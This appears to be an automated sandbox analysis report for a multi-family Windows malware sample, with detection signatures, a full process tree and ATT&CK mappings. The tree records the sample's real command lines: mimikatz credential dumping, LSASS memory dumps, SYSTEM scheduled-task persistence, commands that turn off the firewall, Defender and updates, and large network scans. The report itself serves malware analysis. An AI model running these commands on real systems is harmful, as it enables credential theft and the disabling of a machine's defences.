Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 00:00
General
- Target 2026-07-17_071b47898bbe3be330116904a9e52663_amadey_cloudeye_coinminer_elex_emotet_glassworm_hacktool.exe
- Size 8.6MB
- Sample260718-aake9adw8v
- SHA256 b558d527947d87feaaf8943ebb59f9a21cc4125d7b24cbe095ffec8010e950e3
Score
10/10
Malware Config
Signatures
- Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- mimikatz is an open source tool to dump credentials on Windows 5 IoCs
- Contacts a large (44487) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
- UPX dump on OEP (original entry point) 39 IoCs
- XMRig Miner payload 12 IoCs
- Drops file in Drivers directory 3 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Disables service(s) 3 TTPs
- Executes dropped EXE 27 IoCs
- Loads dropped DLL 12 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Creates a Windows Service
- Drops file in System32 directory 15 IoCs
- UPX packed file 35 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 58 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 26 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- NSIS installer 3 IoCs
- Modifies data under HKEY_USERS 39 IoCs
- Modifies registry class 14 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 15 IoCs
- Suspicious behavior: RenamesItself 1 IoCs
- Suspicious use of AdjustPrivilegeToken 21 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\elvztuqeh\fbupea.exe"C:\Windows\TEMP\elvztuqeh\fbupea.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_071b47898bbe3be330116904a9e52663_amadey_cloudeye_coinminer_elex_emotet_glassworm_hacktool.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_071b47898bbe3be330116904a9e52663_amadey_cloudeye_coinminer_elex_emotet_glassworm_hacktool.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\btetdiyh\snnyfsy.exe2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\btetdiyh\snnyfsy.exeC:\Windows\btetdiyh\snnyfsy.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\btetdiyh\snnyfsy.exeC:\Windows\btetdiyh\snnyfsy.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\escebdebs\esbkuuggz\wpcap.exe /S2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\escebdebs\esbkuuggz\wpcap.exeC:\Windows\escebdebs\esbkuuggz\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\escebdebs\esbkuuggz\btysbvmyn.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\escebdebs\esbkuuggz\Scant.txt2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\escebdebs\esbkuuggz\btysbvmyn.exeC:\Windows\escebdebs\esbkuuggz\btysbvmyn.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\escebdebs\esbkuuggz\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\escebdebs\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\escebdebs\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\escebdebs\Corporate\vfshost.exeC:\Windows\escebdebs\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "emefseqwq" /ru system /tr "cmd /c C:\Windows\ime\snnyfsy.exe"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "emefseqwq" /ru system /tr "cmd /c C:\Windows\ime\snnyfsy.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "etnyhhtgu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\btetdiyh\snnyfsy.exe /p everyone:F"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "etnyhhtgu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\btetdiyh\snnyfsy.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "hqrredlen" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\elvztuqeh\fbupea.exe /p everyone:F"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "hqrredlen" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\elvztuqeh\fbupea.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 956 C:\Windows\TEMP\escebdebs\956.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 548 C:\Windows\TEMP\escebdebs\548.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 1172 C:\Windows\TEMP\escebdebs\1172.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 3044 C:\Windows\TEMP\escebdebs\3044.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 3472 C:\Windows\TEMP\escebdebs\3472.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 4332 C:\Windows\TEMP\escebdebs\4332.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 4676 C:\Windows\TEMP\escebdebs\4676.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 5020 C:\Windows\TEMP\escebdebs\5020.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 5204 C:\Windows\TEMP\escebdebs\5204.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\escebdebs\esbkuuggz\scan.bat2⤵
- Executes a command shell one-liner
-
C:\Windows\escebdebs\esbkuuggz\fzanhizde.exefzanhizde.exe TCP 75.179.0.1 75.179.255.255 445 512 /save3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 5240 C:\Windows\TEMP\escebdebs\5240.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 712 C:\Windows\TEMP\escebdebs\712.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 5396 C:\Windows\TEMP\escebdebs\5396.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 844 C:\Windows\TEMP\escebdebs\844.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 1484 C:\Windows\TEMP\escebdebs\1484.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\escebdebs\gsblqqrly.exeC:\Windows\TEMP\escebdebs\gsblqqrly.exe -accepteula -mp 5684 C:\Windows\TEMP\escebdebs\5684.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\drivers\npf.syssystem32\drivers\npf.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.execmd1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\SysWOW64\varpas.exeC:\Windows\SysWOW64\varpas.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c C:\Windows\ime\snnyfsy.exe1⤵
- Executes a command shell one-liner
-
C:\Windows\ime\snnyfsy.exeC:\Windows\ime\snnyfsy.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\TEMP\elvztuqeh\fbupea.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\TEMP\elvztuqeh\fbupea.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\btetdiyh\snnyfsy.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\btetdiyh\snnyfsy.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c C:\Windows\ime\snnyfsy.exe1⤵
- Executes a command shell one-liner
-
C:\Windows\ime\snnyfsy.exeC:\Windows\ime\snnyfsy.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\TEMP\elvztuqeh\fbupea.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\TEMP\elvztuqeh\fbupea.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXE"C:\Windows\system32\cmd.EXE" /c echo Y|cacls C:\Windows\btetdiyh\snnyfsy.exe /p everyone:F1⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\System32\cacls.execacls C:\Windows\btetdiyh\snnyfsy.exe /p everyone:F2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
Packet.dll
wpcap.dll
npf.sys
config.json
3044.dmp
3472.dmp
4332.dmp
4676.dmp
5020.dmp
5204.dmp
5240.dmp
5396.dmp
548.dmp
712.dmp
956.dmp
fbupea.exe
gsblqqrly.exe
System.dll
nsExec.dll
xohudmc.exe
snnyfsy.exe
vfshost.exe
btysbvmyn.exe
fzanhizde.exe
ip.txt
scan.bat
wpcap.exe
hosts
memory/236-186-0x00007FF62E440000-0x00007FF62E49B000-memory.dmp
memory/788-5-0x0000000000400000-0x0000000000A9B000-memory.dmp
memory/1144-208-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-234-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-167-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-220-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-244-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-221-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-241-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-239-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-155-0x0000016BB8E20000-0x0000016BB8E30000-memory.dmp
memory/1144-183-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-152-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-237-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-231-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1144-166-0x00007FF6ACA00000-0x00007FF6ACB20000-memory.dmp
memory/1252-125-0x00007FF6A6490000-0x00007FF6A657E000-memory.dmp
memory/1252-123-0x00007FF6A6490000-0x00007FF6A657E000-memory.dmp
memory/2560-177-0x00007FF62E440000-0x00007FF62E49B000-memory.dmp
memory/2580-236-0x00007FF62E440000-0x00007FF62E49B000-memory.dmp
